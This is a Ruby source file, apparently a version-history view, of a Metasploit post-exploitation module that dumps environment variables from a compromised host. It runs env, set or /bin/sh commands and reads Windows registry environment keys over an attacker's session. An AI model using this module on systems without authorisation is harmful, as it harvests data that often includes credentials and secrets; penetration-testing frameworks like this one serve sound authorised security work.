2010-12-27 17:46:42 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2011-01-12 00:11:43 +00:00
|
|
|
require 'msf/core/post/windows/registry'
|
2010-12-27 17:46:42 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2011-01-07 17:00:35 +00:00
|
|
|
include Msf::Post::Registry
|
2011-01-06 21:28:00 +00:00
|
|
|
|
2010-12-27 17:46:42 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Get environment',
|
|
|
|
'Description' => %q{ Print out environment variables },
|
|
|
|
'License' => MSF_LICENSE,
|
2010-12-28 19:39:02 +00:00
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
|
2010-12-27 17:46:42 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'linux', 'windows' ],
|
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
case session.type
|
|
|
|
when "shell"
|
|
|
|
get_env_shell
|
|
|
|
when "meterpreter"
|
|
|
|
get_env_meterpreter
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_env_shell
|
|
|
|
case session.platform
|
|
|
|
when /unix|linux|bsd|bsdi|aix|solaris/
|
|
|
|
output = session.shell_command_token("env")
|
|
|
|
when /windows/
|
|
|
|
output = session.shell_command_token("set")
|
|
|
|
else
|
|
|
|
# Don't know what it is, hope it's unix
|
|
|
|
if session.respond_to? :shell_command_token_unix
|
|
|
|
output = session.shell_command_token_unix("env")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_line output if output
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_env_meterpreter
|
|
|
|
case sysinfo["OS"]
|
|
|
|
when /windows/i
|
|
|
|
var_names = []
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
|
|
|
|
var_names.flatten.each do |v|
|
|
|
|
print_line "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}"
|
|
|
|
end
|
|
|
|
else
|
2011-01-06 21:28:00 +00:00
|
|
|
# Don't know what it is, hope it's unix
|
2010-12-27 17:46:42 +00:00
|
|
|
print_status sysinfo["OS"]
|
2011-01-06 21:28:00 +00:00
|
|
|
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
|
2010-12-27 17:46:42 +00:00
|
|
|
print_line chan.read
|
|
|
|
end
|
|
|
|
end
|
2011-01-04 02:46:18 +00:00
|
|
|
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|
|
|
|
|